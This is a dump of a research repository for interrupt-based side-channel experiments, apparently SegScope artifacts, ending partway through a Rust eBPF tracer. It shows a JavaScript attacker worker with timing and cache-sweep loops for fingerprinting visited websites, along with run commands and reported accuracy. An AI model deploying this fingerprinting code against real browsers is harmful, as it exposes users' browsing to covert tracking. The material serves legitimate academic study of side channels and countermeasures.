├── E1-Fingerprinting_Websites ├── .gitignore ├── LICENSE.md ├── README.md ├── attacker │ ├── d3.v6.min.js │ ├── index.html │ └── worker.js ├── drivers │ ├── __init__.py │ ├── links.py │ ├── remote.py │ └── safari.py ├── ebpf │ ├── .gitignore │ ├── Cargo.lock │ ├── Cargo.toml │ └── src │ │ └── main.rs ├── extensions │ ├── cache.crx │ ├── cache │ │ ├── background.js │ │ └── manifest.json │ ├── interrupts.crx │ └── interrupts │ │ ├── background.js │ │ └── manifest.json ├── lib │ └── timer.c ├── plot │ ├── amazon.com0.jpg │ ├── amazon.com1.jpg │ ├── amazon.com2.jpg │ ├── amazon.com3.jpg │ ├── amazon.com4.jpg │ ├── amazon.com5.jpg │ ├── amazon.com6.jpg │ ├── cat.py │ ├── nytimes.com0.jpg │ ├── nytimes.com1.jpg │ ├── nytimes.com2.jpg │ ├── nytimes.com3.jpg │ ├── nytimes.com4.jpg │ ├── nytimes.com5.jpg │ ├── nytimes.com6.jpg │ ├── tiktok.com0.jpg │ ├── tiktok.com1.jpg │ ├── tiktok.com2.jpg │ ├── tiktok.com3.jpg │ ├── tiktok.com4.jpg │ ├── tiktok.com5.jpg │ └── tiktok.com6.jpg ├── record_data.py ├── requirements.txt ├── scripts │ ├── check_results.py │ ├── gen_open_world.py │ ├── load_irqbalance_config.py │ ├── receiver.py │ └── save_irqbalance_config.py ├── sites │ ├── closed_world.csv │ └── open_world.csv ├── tick.c └── visualization.png ├── E2-Enhancing_Spectral ├── Makefile ├── README.md ├── arch-write.c ├── cacheutils.h ├── main ├── main.c └── test.sh ├── E3-Breaking_KASLR ├── Makefile ├── README.md ├── main.c └── timer.c ├── LICENSE └── README.md /E1-Fingerprinting_Websites/.gitignore: -------------------------------------------------------------------------------- 1 | # macOS 2 | .DS_Store 3 | 4 | # Editors 5 | .nova 6 | *.swp 7 | 8 | # Python 9 | __pycache__ 10 | 11 | # Chrome extensions 12 | *.pem 13 | 14 | # Data exports 15 | *.pkl 16 | 17 | # Libraries 18 | *.so 19 | 20 | # Twilio credentials 21 | twilio.json -------------------------------------------------------------------------------- /E1-Fingerprinting_Websites/LICENSE.md: -------------------------------------------------------------------------------- 1 | # MIT License 2 | 3 | Copyright (c) 2022 Jack Cook 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /E1-Fingerprinting_Websites/README.md: -------------------------------------------------------------------------------- 1 | # Fingerprinting Websites 2 | 3 | Uses SegScope to perform a classic interrupt side channel attack (i.e., website fingerprinting). 4 | 5 | Install dependencies. 6 | ``` 7 | pip install -r requirements.txt 8 | ``` 9 | 10 | Build the .so file. 11 | ``` 12 | gcc -c -fPIC -o tick.o tick.c 13 | gcc -shared tick.o -o tick.so 14 | ``` 15 | 16 | Record 20 5000-interrupt traces of the top 4 websites according to Alexa, and save the traces to segscope-experiment. Three absolute paths in record_data.py need to be modified in record_data.py. 17 | ``` 18 | python record_data.py --browser chrome --num_runs 20 --attacker_type tick --sites_list alexa4 --trace_length 5 --out_directory segscope-experiment 19 | ``` 20 | 21 | Load the traces and check accuracy. 22 | ``` 23 | python scripts/check_results.py --data_file segscope-experiment 24 | ``` 25 | 26 | Expected results are as follows: 27 | ``` 28 | python record_data.py --browser chrome --num_runs 20 --attacker_type tick --sites_list alexa4 --trace_length 5 --out_directory segscope-experiment 29 | 30 | 100%|█████████████████████████████████████████| 160/160 [43:10<00:00, 16.16s/it] 31 | 32 | python scripts/check_results.py --data_file segscope-experiment 33 | 34 | Analyzing results from readme-experiment 35 | 100%|███████████████████████████████████████████| 10/10 [00:01<00:00, 5.61it/s] 36 | 37 | Number of traces: 160 38 | 39 | top1 accuracy: 85.3% (+/- 5.5%) 40 | top5 accuracy: 100.0% (+/- 0.0%) 41 | ``` 42 | 43 | For more details, please refer to [ISCA 23](https://github.com/jackcook/bigger-fish) 44 | -------------------------------------------------------------------------------- /E1-Fingerprinting_Websites/attacker/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Bigger Fish 6 | 53 | 54 | 55 |

There’s Always a Bigger Fish

56 |
57 | 58 | 59 |
60 |
61 | 62 | 178 | 179 | 180 | -------------------------------------------------------------------------------- /E1-Fingerprinting_Websites/attacker/worker.js: -------------------------------------------------------------------------------- 1 | const OUR_ATTACKER = "ours"; 2 | const CACHE_ATTACKER = "cache"; 3 | const OUR_ATTACKER_COUNTERMEASURE = "ours_cm"; 4 | const TICK_ATTACKER = "tick"; 5 | 6 | const P = 5; // time of one record, in milliseconds 7 | const L3_SIZE = 6 * 1024 * 1024; 8 | const CACHE_SIZE = L3_SIZE / 64; 9 | 10 | let addrs; 11 | let M; 12 | let start; 13 | let T; 14 | let recording = false; 15 | 16 | function finish() { 17 | if (!recording) { 18 | return; 19 | } 20 | 21 | recording = false; 22 | 23 | let lastVal = 0; 24 | 25 | for (let i = 0; i < T.length; i++) { 26 | if (T[i] === -1) { 27 | T[i] = lastVal; 28 | } else { 29 | lastVal = T[i]; 30 | } 31 | } 32 | 33 | postMessage(JSON.stringify(T)); 34 | } 35 | 36 | function ourLoop() { 37 | while (true) { 38 | const datum_time = performance.now(); 39 | const idx = Math.floor(datum_time - start); 40 | 41 | if (idx >= T.length) { 42 | finish(); 43 | break; 44 | } 45 | 46 | let counter = 0; 47 | 48 | while (performance.now() - datum_time < P) { 49 | counter += 1; 50 | } 51 | 52 | T[idx] = counter; 53 | } 54 | } 55 | 56 | function cacheLoop() { 57 | while (true) { 58 | const datum_time = performance.now(); 59 | const idx = Math.floor(datum_time - start); 60 | 61 | if (idx >= T.length) { 62 | finish(); 63 | break; 64 | } 65 | 66 | let counter = 0; 67 | 68 | while (performance.now() - datum_time < P) { 69 | // Access entire LLC 70 | let val = 0; 71 | for (let i = 0; i < addrs.length; i++) { 72 | val = M[addrs[i] * 16]; 73 | } 74 | 75 | counter += 1; 76 | } 77 | 78 | T[idx] = counter; 79 | } 80 | } 81 | 82 | function tickLoop() { 83 | while (true) { 84 | const datum_time = performance.now(); 85 | const idx = Math.floor(datum_time - start); 86 | 87 | if (idx >= T.length) { 88 | finish(); 89 | break; 90 | } 91 | 92 | let counter = 0; 93 | 94 | while (performance.now() - datum_time < P) { 95 | counter += 1; 96 | } 97 | 98 | T[idx] = counter; 99 | } 100 | } 101 | 102 | // Randomized timer 103 | let time = 0; 104 | let currentBinSize = 0; 105 | 106 | const randomBinSize = () => { 107 | return Math.random() * 50 + 5; 108 | }; 109 | 110 | const getTime = () => { 111 | const now = performance.now(); 112 | 113 | if (now > time + currentBinSize) { 114 | if (now > time + currentBinSize + 100) { 115 | time = now; 116 | } 117 | 118 | time += randomBinSize(); 119 | currentBinSize = randomBinSize(); 120 | } 121 | 122 | return time; 123 | }; 124 | 125 | function countermeasureLoop() { 126 | while (true) { 127 | const datum_time = getTime(); 128 | const idx = Math.floor(datum_time - start); 129 | 130 | if (idx >= T.length) { 131 | finish(); 132 | break; 133 | } 134 | 135 | let counter = 0; 136 | 137 | while (getTime() - datum_time < P) { 138 | counter += 1; 139 | } 140 | 141 | T[idx] = counter; 142 | } 143 | } 144 | 145 | function record(attacker) { 146 | if (attacker === CACHE_ATTACKER) { 147 | M = new Int32Array(L3_SIZE / 4); 148 | M.fill(-1, 0, M.length); 149 | 150 | addrs = new Int32Array(L3_SIZE / 4 / 16); 151 | 152 | for (let i = 0; i < addrs.length; i++) { 153 | addrs[i] = i; 154 | } 155 | 156 | // Shuffle addrs 157 | for (let i = addrs.length - 1; i > 0; i--) { 158 | const j = Math.floor(Math.random() * (i + 1)); 159 | const temp = addrs[i]; 160 | addrs[i] = addrs[j]; 161 | addrs[j] = temp; 162 | } 163 | } 164 | 165 | start = performance.now(); 166 | 167 | switch (attacker) { 168 | case OUR_ATTACKER: 169 | ourLoop(); 170 | break; 171 | case CACHE_ATTACKER: 172 | cacheLoop(); 173 | break; 174 | case OUR_ATTACKER_COUNTERMEASURE: 175 | countermeasureLoop(); 176 | break; 177 | case TICK_ATTACKER: 178 | tickLoop(); 179 | default: 180 | finish(); 181 | break; 182 | } 183 | } 184 | 185 | self.onmessage = (e) => { 186 | if (e.data.type == "stop") { 187 | finish(); 188 | } else if (e.data.type == "start") { 189 | T = new Array(e.data.trace_length); 190 | T.fill(-1, 0, e.data.trace_length); 191 | 192 | recording = true; 193 | start = performance.now(); 194 | setTimeout(record, 0, e.data.attacker); 195 | } 196 | }; 197 | -------------------------------------------------------------------------------- /E1-Fingerprinting_Websites/drivers/__init__.py: -------------------------------------------------------------------------------- 1 | from .links import LinksDriver 2 | from .remote import RemoteDriver 3 | from .safari import SafariDriver -------------------------------------------------------------------------------- /E1-Fingerprinting_Websites/drivers/links.py: -------------------------------------------------------------------------------- 1 | import os 2 | import subprocess 3 | 4 | class LinksDriver: 5 | 6 | def _kill(self): 7 | subprocess.Popen(["pkill", "links"]) 8 | 9 | def get(self, url): 10 | self._kill() 11 | os.system('cls' if os.name == 'nt' else 'clear') 12 | subprocess.Popen(["links", url]) 13 | 14 | def quit(self): 15 | self._kill() -------------------------------------------------------------------------------- /E1-Fingerprinting_Websites/drivers/remote.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import sys 3 | 4 | class RemoteDriver: 5 | 6 | def __init__(self, receiver_ip, receiver_port): 7 | self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 8 | 9 | try: 10 | self.s.connect((receiver_ip, receiver_port)) 11 | except: 12 | print("Connection to receiver failed") 13 | sys.exit(1) 14 | 15 | def _send(self, msg): 16 | self.s.sendall(f"{msg}\n".encode('utf-8')) 17 | 18 | def get(self, url): 19 | self._send(url) 20 | 21 | def set_page_load_timeout(self, timeout): 22 | self._send(f"biggerfish://set-timeout/{timeout}") 23 | 24 | def quit(self): 25 | self._send("biggerfish://restart") -------------------------------------------------------------------------------- /E1-Fingerprinting_Websites/drivers/safari.py: -------------------------------------------------------------------------------- 1 | from selenium import webdriver 2 | 3 | class SafariDriver: 4 | 5 | def __init__(self, attacker_url): 6 | self.driver = webdriver.Safari() 7 | self.driver.get(attacker_url) 8 | 9 | self.main_window_handle = self.driver.current_window_handle 10 | 11 | def close(self): 12 | windows = self.driver.window_handles 13 | 14 | for window in windows: 15 | if window != self.main_window_handle: 16 | self.driver.switch_to.window(window) 17 | break 18 | 19 | self.driver.close() 20 | self.driver.switch_to.window(self.main_window_handle) 21 | 22 | def execute_script(self, script): 23 | return self.driver.execute_script(script) 24 | 25 | def get(self, url): 26 | self.driver.execute_script( 27 | f"window.open('{url}', '_blank', 'toolbar=1,location=1,menubar=1')") 28 | 29 | def set_page_load_timeout(self, timeout): 30 | self.driver.set_page_load_timeout(timeout) 31 | 32 | def quit(self): 33 | pass -------------------------------------------------------------------------------- /E1-Fingerprinting_Websites/ebpf/.gitignore: -------------------------------------------------------------------------------- 1 | target -------------------------------------------------------------------------------- /E1-Fingerprinting_Websites/ebpf/Cargo.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Cargo. 2 | # It is not intended for manual editing. 3 | version = 3 4 | 5 | [[package]] 6 | name = "aho-corasick" 7 | version = "0.7.18" 8 | source = "registry+https://github.com/rust-lang/crates.io-index" 9 | checksum = "1e37cfd5e7657ada45f742d6e99ca5788580b5c529dc78faf11ece6dc702656f" 10 | dependencies = [ 11 | "memchr", 12 | ] 13 | 14 | [[package]] 15 | name = "ansi_term" 16 | version = "0.11.0" 17 | source = "registry+https://github.com/rust-lang/crates.io-index" 18 | checksum = "ee49baf6cb617b853aa8d93bf420db2383fab46d314482ca2803b40d5fde979b" 19 | dependencies = [ 20 | "winapi 0.3.9", 21 | ] 22 | 23 | [[package]] 24 | name = "atty" 25 | version = "0.2.14" 26 | source = "registry+https://github.com/rust-lang/crates.io-index" 27 | checksum = "d9b39be18770d11421cdb1b9947a45dd3f37e93092cbf377614828a319d5fee8" 28 | dependencies = [ 29 | "hermit-abi", 30 | "libc", 31 | "winapi 0.3.9", 32 | ] 33 | 34 | [[package]] 35 | name = "bcc" 36 | version = "0.0.31" 37 | source = "registry+https://github.com/rust-lang/crates.io-index" 38 | checksum = "bebab955e4baaae9f8e6f21a3bd8f49d36e8344758431ce82585d885a2b2f363" 39 | dependencies = [ 40 | "bcc-sys", 41 | "bitflags", 42 | "byteorder", 43 | "libc", 44 | "regex", 45 | "thiserror", 46 | ] 47 | 48 | [[package]] 49 | name = "bcc-sys" 50 | version = "0.18.0" 51 | source = "registry+https://github.com/rust-lang/crates.io-index" 52 | checksum = "ce1c5b91450a45f6a536b4e657c698ef2dd3c636739450350a58582b47e8fa0c" 53 | 54 | [[package]] 55 | name = "bitflags" 56 | version = "1.2.1" 57 | source = "registry+https://github.com/rust-lang/crates.io-index" 58 | checksum = "cf1de2fe8c75bc145a2f577add951f8134889b4795d47466a54a5c846d691693" 59 | 60 | [[package]] 61 | name = "byteorder" 62 | version = "1.4.3" 63 | source = "registry+https://github.com/rust-lang/crates.io-index" 64 | checksum = "14c189c53d098945499cdfa7ecc63567cf3886b3332b312a5b4585d8d3a6a610" 65 | 66 | [[package]] 67 | name = "cc" 68 | version = "1.0.68" 69 | source = "registry+https://github.com/rust-lang/crates.io-index" 70 | checksum = "4a72c244c1ff497a746a7e1fb3d14bd08420ecda70c8f25c7112f2781652d787" 71 | 72 | [[package]] 73 | name = "cfg-if" 74 | version = "1.0.0" 75 | source = "registry+https://github.com/rust-lang/crates.io-index" 76 | checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" 77 | 78 | [[package]] 79 | name = "clap" 80 | version = "2.33.3" 81 | source = "registry+https://github.com/rust-lang/crates.io-index" 82 | checksum = "37e58ac78573c40708d45522f0d80fa2f01cc4f9b4e2bf749807255454312002" 83 | dependencies = [ 84 | "ansi_term", 85 | "atty", 86 | "bitflags", 87 | "strsim", 88 | "textwrap", 89 | "unicode-width", 90 | "vec_map", 91 | ] 92 | 93 | [[package]] 94 | name = "core_affinity" 95 | version = "0.5.10" 96 | source = "registry+https://github.com/rust-lang/crates.io-index" 97 | checksum = "7f8a03115cc34fb0d7c321dd154a3914b3ca082ccc5c11d91bf7117dbbe7171f" 98 | dependencies = [ 99 | "kernel32-sys", 100 | "libc", 101 | "num_cpus", 102 | "winapi 0.2.8", 103 | ] 104 | 105 | [[package]] 106 | name = "ctrlc" 107 | version = "3.1.9" 108 | source = "registry+https://github.com/rust-lang/crates.io-index" 109 | checksum = "232295399409a8b7ae41276757b5a1cc21032848d42bff2352261f958b3ca29a" 110 | dependencies = [ 111 | "nix", 112 | "winapi 0.3.9", 113 | ] 114 | 115 | [[package]] 116 | name = "ebpf" 117 | version = "0.1.0" 118 | dependencies = [ 119 | "bcc", 120 | "byteorder", 121 | "core_affinity", 122 | "ctrlc", 123 | "libc", 124 | "structopt", 125 | ] 126 | 127 | [[package]] 128 | name = "heck" 129 | version = "0.3.3" 130 | source = "registry+https://github.com/rust-lang/crates.io-index" 131 | checksum = "6d621efb26863f0e9924c6ac577e8275e5e6b77455db64ffa6c65c904e9e132c" 132 | dependencies = [ 133 | "unicode-segmentation", 134 | ] 135 | 136 | [[package]] 137 | name = "hermit-abi" 138 | version = "0.1.19" 139 | source = "registry+https://github.com/rust-lang/crates.io-index" 140 | checksum = "62b467343b94ba476dcb2500d242dadbb39557df889310ac77c5d99100aaac33" 141 | dependencies = [ 142 | "libc", 143 | ] 144 | 145 | [[package]] 146 | name = "kernel32-sys" 147 | version = "0.2.2" 148 | source = "registry+https://github.com/rust-lang/crates.io-index" 149 | checksum = "7507624b29483431c0ba2d82aece8ca6cdba9382bff4ddd0f7490560c056098d" 150 | dependencies = [ 151 | "winapi 0.2.8", 152 | "winapi-build", 153 | ] 154 | 155 | [[package]] 156 | name = "lazy_static" 157 | version = "1.4.0" 158 | source = "registry+https://github.com/rust-lang/crates.io-index" 159 | checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" 160 | 161 | [[package]] 162 | name = "libc" 163 | version = "0.2.97" 164 | source = "registry+https://github.com/rust-lang/crates.io-index" 165 | checksum = "12b8adadd720df158f4d70dfe7ccc6adb0472d7c55ca83445f6a5ab3e36f8fb6" 166 | 167 | [[package]] 168 | name = "memchr" 169 | version = "2.4.0" 170 | source = "registry+https://github.com/rust-lang/crates.io-index" 171 | checksum = "b16bd47d9e329435e309c58469fe0791c2d0d1ba96ec0954152a5ae2b04387dc" 172 | 173 | [[package]] 174 | name = "nix" 175 | version = "0.20.0" 176 | source = "registry+https://github.com/rust-lang/crates.io-index" 177 | checksum = "fa9b4819da1bc61c0ea48b63b7bc8604064dd43013e7cc325df098d49cd7c18a" 178 | dependencies = [ 179 | "bitflags", 180 | "cc", 181 | "cfg-if", 182 | "libc", 183 | ] 184 | 185 | [[package]] 186 | name = "num_cpus" 187 | version = "1.13.0" 188 | source = "registry+https://github.com/rust-lang/crates.io-index" 189 | checksum = "05499f3756671c15885fee9034446956fff3f243d6077b91e5767df161f766b3" 190 | dependencies = [ 191 | "hermit-abi", 192 | "libc", 193 | ] 194 | 195 | [[package]] 196 | name = "proc-macro-error" 197 | version = "1.0.4" 198 | source = "registry+https://github.com/rust-lang/crates.io-index" 199 | checksum = "da25490ff9892aab3fcf7c36f08cfb902dd3e71ca0f9f9517bea02a73a5ce38c" 200 | dependencies = [ 201 | "proc-macro-error-attr", 202 | "proc-macro2", 203 | "quote", 204 | "syn", 205 | "version_check", 206 | ] 207 | 208 | [[package]] 209 | name = "proc-macro-error-attr" 210 | version = "1.0.4" 211 | source = "registry+https://github.com/rust-lang/crates.io-index" 212 | checksum = "a1be40180e52ecc98ad80b184934baf3d0d29f979574e439af5a55274b35f869" 213 | dependencies = [ 214 | "proc-macro2", 215 | "quote", 216 | "version_check", 217 | ] 218 | 219 | [[package]] 220 | name = "proc-macro2" 221 | version = "1.0.27" 222 | source = "registry+https://github.com/rust-lang/crates.io-index" 223 | checksum = "f0d8caf72986c1a598726adc988bb5984792ef84f5ee5aa50209145ee8077038" 224 | dependencies = [ 225 | "unicode-xid", 226 | ] 227 | 228 | [[package]] 229 | name = "quote" 230 | version = "1.0.9" 231 | source = "registry+https://github.com/rust-lang/crates.io-index" 232 | checksum = "c3d0b9745dc2debf507c8422de05d7226cc1f0644216dfdfead988f9b1ab32a7" 233 | dependencies = [ 234 | "proc-macro2", 235 | ] 236 | 237 | [[package]] 238 | name = "regex" 239 | version = "1.5.4" 240 | source = "registry+https://github.com/rust-lang/crates.io-index" 241 | checksum = "d07a8629359eb56f1e2fb1652bb04212c072a87ba68546a04065d525673ac461" 242 | dependencies = [ 243 | "aho-corasick", 244 | "memchr", 245 | "regex-syntax", 246 | ] 247 | 248 | [[package]] 249 | name = "regex-syntax" 250 | version = "0.6.25" 251 | source = "registry+https://github.com/rust-lang/crates.io-index" 252 | checksum = "f497285884f3fcff424ffc933e56d7cbca511def0c9831a7f9b5f6153e3cc89b" 253 | 254 | [[package]] 255 | name = "strsim" 256 | version = "0.8.0" 257 | source = "registry+https://github.com/rust-lang/crates.io-index" 258 | checksum = "8ea5119cdb4c55b55d432abb513a0429384878c15dde60cc77b1c99de1a95a6a" 259 | 260 | [[package]] 261 | name = "structopt" 262 | version = "0.3.22" 263 | source = "registry+https://github.com/rust-lang/crates.io-index" 264 | checksum = "69b041cdcb67226aca307e6e7be44c8806423d83e018bd662360a93dabce4d71" 265 | dependencies = [ 266 | "clap", 267 | "lazy_static", 268 | "structopt-derive", 269 | ] 270 | 271 | [[package]] 272 | name = "structopt-derive" 273 | version = "0.4.15" 274 | source = "registry+https://github.com/rust-lang/crates.io-index" 275 | checksum = "7813934aecf5f51a54775e00068c237de98489463968231a51746bbbc03f9c10" 276 | dependencies = [ 277 | "heck", 278 | "proc-macro-error", 279 | "proc-macro2", 280 | "quote", 281 | "syn", 282 | ] 283 | 284 | [[package]] 285 | name = "syn" 286 | version = "1.0.73" 287 | source = "registry+https://github.com/rust-lang/crates.io-index" 288 | checksum = "f71489ff30030d2ae598524f61326b902466f72a0fb1a8564c001cc63425bcc7" 289 | dependencies = [ 290 | "proc-macro2", 291 | "quote", 292 | "unicode-xid", 293 | ] 294 | 295 | [[package]] 296 | name = "textwrap" 297 | version = "0.11.0" 298 | source = "registry+https://github.com/rust-lang/crates.io-index" 299 | checksum = "d326610f408c7a4eb6f51c37c330e496b08506c9457c9d34287ecc38809fb060" 300 | dependencies = [ 301 | "unicode-width", 302 | ] 303 | 304 | [[package]] 305 | name = "thiserror" 306 | version = "1.0.25" 307 | source = "registry+https://github.com/rust-lang/crates.io-index" 308 | checksum = "fa6f76457f59514c7eeb4e59d891395fab0b2fd1d40723ae737d64153392e9c6" 309 | dependencies = [ 310 | "thiserror-impl", 311 | ] 312 | 313 | [[package]] 314 | name = "thiserror-impl" 315 | version = "1.0.25" 316 | source = "registry+https://github.com/rust-lang/crates.io-index" 317 | checksum = "8a36768c0fbf1bb15eca10defa29526bda730a2376c2ab4393ccfa16fb1a318d" 318 | dependencies = [ 319 | "proc-macro2", 320 | "quote", 321 | "syn", 322 | ] 323 | 324 | [[package]] 325 | name = "unicode-segmentation" 326 | version = "1.8.0" 327 | source = "registry+https://github.com/rust-lang/crates.io-index" 328 | checksum = "8895849a949e7845e06bd6dc1aa51731a103c42707010a5b591c0038fb73385b" 329 | 330 | [[package]] 331 | name = "unicode-width" 332 | version = "0.1.8" 333 | source = "registry+https://github.com/rust-lang/crates.io-index" 334 | checksum = "9337591893a19b88d8d87f2cec1e73fad5cdfd10e5a6f349f498ad6ea2ffb1e3" 335 | 336 | [[package]] 337 | name = "unicode-xid" 338 | version = "0.2.2" 339 | source = "registry+https://github.com/rust-lang/crates.io-index" 340 | checksum = "8ccb82d61f80a663efe1f787a51b16b5a51e3314d6ac365b08639f52387b33f3" 341 | 342 | [[package]] 343 | name = "vec_map" 344 | version = "0.8.2" 345 | source = "registry+https://github.com/rust-lang/crates.io-index" 346 | checksum = "f1bddf1187be692e79c5ffeab891132dfb0f236ed36a43c7ed39f1165ee20191" 347 | 348 | [[package]] 349 | name = "version_check" 350 | version = "0.9.3" 351 | source = "registry+https://github.com/rust-lang/crates.io-index" 352 | checksum = "5fecdca9a5291cc2b8dcf7dc02453fee791a280f3743cb0905f8822ae463b3fe" 353 | 354 | [[package]] 355 | name = "winapi" 356 | version = "0.2.8" 357 | source = "registry+https://github.com/rust-lang/crates.io-index" 358 | checksum = "167dc9d6949a9b857f3451275e911c3f44255842c1f7a76f33c55103a909087a" 359 | 360 | [[package]] 361 | name = "winapi" 362 | version = "0.3.9" 363 | source = "registry+https://github.com/rust-lang/crates.io-index" 364 | checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" 365 | dependencies = [ 366 | "winapi-i686-pc-windows-gnu", 367 | "winapi-x86_64-pc-windows-gnu", 368 | ] 369 | 370 | [[package]] 371 | name = "winapi-build" 372 | version = "0.1.1" 373 | source = "registry+https://github.com/rust-lang/crates.io-index" 374 | checksum = "2d315eee3b34aca4797b2da6b13ed88266e6d612562a0c46390af8299fc699bc" 375 | 376 | [[package]] 377 | name = "winapi-i686-pc-windows-gnu" 378 | version = "0.4.0" 379 | source = "registry+https://github.com/rust-lang/crates.io-index" 380 | checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" 381 | 382 | [[package]] 383 | name = "winapi-x86_64-pc-windows-gnu" 384 | version = "0.4.0" 385 | source = "registry+https://github.com/rust-lang/crates.io-index" 386 | checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" 387 | -------------------------------------------------------------------------------- /E1-Fingerprinting_Websites/ebpf/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "ebpf" 3 | version = "0.1.0" 4 | edition = "2018" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | bcc = "0.0.31" 10 | byteorder = "1.4.3" 11 | core_affinity = "0.5.10" 12 | ctrlc = "3.1.9" 13 | libc = "0.2.97" 14 | structopt = "0.3.22" 15 | -------------------------------------------------------------------------------- /E1-Fingerprinting_Websites/ebpf/src/main.rs: -------------------------------------------------------------------------------- 1 | use byteorder::{NativeEndian, ReadBytesExt}; 2 | use std::collections::BTreeMap; 3 | use std::io::Cursor; 4 | use std::sync::{ 5 | atomic::{AtomicBool, Ordering}, 6 | Arc, 7 | }; 8 | use structopt::StructOpt; 9 | 10 | #[derive(Debug, StructOpt)] 11 | #[structopt(name = "ebpf-interrupts", about = "Record IRQs using eBPF")] 12 | struct Opt { 13 | #[structopt(short, long)] 14 | timeout: Option, 15 | 16 | #[structopt(short, long)] 17 | ns_threshold: Option, 18 | } 19 | 20 | const MAX_SAMPLES: usize = 1000000; 21 | 22 | fn time() -> u64 { 23 | let mut t = libc::timespec { 24 | tv_sec: 0, 25 | tv_nsec: 0, 26 | }; 27 | unsafe { 28 | libc::clock_gettime(libc::CLOCK_BOOTTIME, &mut t as *mut libc::timespec); 29 | } 30 | 31 | t.tv_sec as u64 * 1000_000_000 + t.tv_nsec as u64 32 | } 33 | 34 | fn main() { 35 | core_affinity::set_for_current(core_affinity::CoreId { id: 3 }); 36 | 37 | eprintln!("pid = {}", unsafe { libc::getpid() }); 38 | 39 | let opt = Opt::from_args(); 40 | 41 | let running = Arc::new(AtomicBool::new(true)); 42 | let r = running.clone(); 43 | ctrlc::set_handler(move || { 44 | r.store(false, Ordering::SeqCst); 45 | }) 46 | .expect("Error setting Ctrl-C handler"); 47 | 48 | let mut gaps = vec![(1, 1); MAX_SAMPLES]; 49 | gaps.clear(); 50 | 51 | let code = " 52 | #include 53 | 54 | BPF_HASH(interrupts, u64, int, 1000000); 55 | static void record_event(int num) { 56 | if (bpf_get_smp_processor_id() == 3) { 57 | int irq = num; 58 | u64 time = bpf_ktime_get_boot_ns(); 59 | interrupts.update(&time, &irq); 60 | } 61 | } 62 | 63 | TRACEPOINT_PROBE(irq, irq_handler_entry) { 64 | record_event(args->irq + 10000); 65 | return 0; 66 | }; 67 | TRACEPOINT_PROBE(irq, softirq_entry) { 68 | record_event(1); 69 | return 0; 70 | }; 71 | TRACEPOINT_PROBE(nmi, nmi_handler) { 72 | record_event(2); 73 | return 0; 74 | }; 75 | TRACEPOINT_PROBE(tlb, tlb_flush) { 76 | record_event(3); 77 | return 0; 78 | }; 79 | TRACEPOINT_PROBE(irq_vectors, reschedule_entry) { 80 | record_event(4); 81 | return 0; 82 | }; 83 | TRACEPOINT_PROBE(syscalls, sys_enter_clock_gettime) { 84 | record_event(5); 85 | return 0; 86 | }; 87 | TRACEPOINT_PROBE(exceptions, page_fault_user) { 88 | record_event(6); 89 | return 0; 90 | }; 91 | TRACEPOINT_PROBE(exceptions, page_fault_kernel) { 92 | record_event(7); 93 | return 0; 94 | }; 95 | void generic_handle_irq() { record_event(100); } 96 | void __sysvec_apic_timer_interrupt() { record_event(101); } 97 | void __sysvec_spurious_apic_interrupt() { record_event(102); } 98 | void __sysvec_call_function() { record_event(103); } 99 | void __sysvec_call_function_single() { record_event(104); } 100 | void __sysvec_x86_platform_ipi() { record_event(105); } 101 | void __sysvec_thermal() { record_event(106); } 102 | void __sysvec_irq_work() { record_event(107); } 103 | void __sysvec_deferred_error() { record_event(108); } 104 | void __sysvec_threshold() { record_event(109); } 105 | void __sysvec_irq_move_cleanup() { record_event(110); } 106 | void __sysvec_error_interrupt() { record_event(111); } 107 | void __do_softirq() { record_event(200); } 108 | void irqtime_account_irq() { record_event(300); } 109 | "; 110 | let mut module = bcc::BPF::new(code).unwrap(); 111 | bcc::Tracepoint::new() 112 | .handler("tracepoint__irq__irq_handler_entry") 113 | .subsystem("irq") 114 | .tracepoint("irq_handler_entry") 115 | .attach(&mut module) 116 | .expect("failed to attach tracepoint"); 117 | 118 | bcc::Tracepoint::new() 119 | .handler("tracepoint__irq__softirq_entry") 120 | .subsystem("irq") 121 | .tracepoint("softirq_entry") 122 | .attach(&mut module) 123 | .expect("failed to attach tracepoint"); 124 | 125 | bcc::Tracepoint::new() 126 | .handler("tracepoint__nmi__nmi_handler") 127 | .subsystem("nmi") 128 | .tracepoint("nmi_handler") 129 | .attach(&mut module) 130 | .expect("failed to attach tracepoint"); 131 | 132 | bcc::Tracepoint::new() 133 | .handler("tracepoint__tlb__tlb_flush") 134 | .subsystem("tlb") 135 | .tracepoint("tlb_flush") 136 | .attach(&mut module) 137 | .expect("failed to attach tracepoint"); 138 | 139 | bcc::Tracepoint::new() 140 | .handler("tracepoint__irq_vectors__reschedule_entry") 141 | .subsystem("irq_vectors") 142 | .tracepoint("reschedule_entry") 143 | 